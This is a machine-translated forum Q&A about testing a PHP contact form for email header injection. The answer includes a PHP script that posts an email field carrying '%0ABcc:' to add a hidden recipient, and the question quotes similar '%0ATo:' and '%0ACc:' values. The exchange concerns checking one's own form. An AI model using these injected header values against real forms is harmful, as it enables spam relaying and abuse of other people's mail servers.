我使用php邮件功能,我有一个表单的名称字段,电话字段,电子邮件字段和消息字段,这是一个文本区域。电子邮件字段(以及姓名和电话字段)显示在消息中,但不用于向该地址发送电子邮件。To:字段、subject:字段和From: header在脚本中是静态的,它们被设计成总是相同的。
我最近试图尝试电子邮件注入到我自己的脚本,这样我就可以知道我的预防措施是否有效。
我试着在地里种地%0ATo:mysecondemailaddress@provider.com和%0ACc:mysecondemailaddress@provider.com,但电子邮件甚至没有发送到正确的电子邮件地址。我只是想知道什么是正确的方法来做到这一点,也当我使用预防性的方法,如识别字符串,要么删除它们或拒绝电子邮件被发送什么字符,如%我也应该在寻找?
看起来不像使用表单直接进入注入工作得很好。我使用下面的代码来测试我放在一起的邮件,它发布了脚本中的数据。必须修改$postData
以适应您的形式。这只是一个"受害者":
<?php
$postData =
'contactname=Lord+Sauron&'.
'email=darklord@ciplit.com.au%0ABcc:frodo@ciplit.com.au'.
'&message=Sorry+about+that+whole+ring+thing.+No+hard+feelings%3F';
$url = 'http://'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/onetrueformmailer.php';
$result = do_post_request($url, $postData);
echo($result);
// http://wezfurlong.org/blog/2006/nov/http-post-from-php-without-curl/
function do_post_request($url, $data, $optional_headers = null) {
$params = array('http' => array(
'method' => 'POST',
'content' => $data
));
if ($optional_headers !== null) {
$params['http']['header'] = $optional_headers;
}
$ctx = stream_context_create($params);
$fp = @fopen($url, 'rb', false, $ctx);
if (!$fp) {
throw new Exception("Problem with $url, $php_errormsg");
}
$response = @stream_get_contents($fp);
if ($response === false) {
throw new Exception("Problem reading data from $url, $php_errormsg");
}
return $response;
}
?>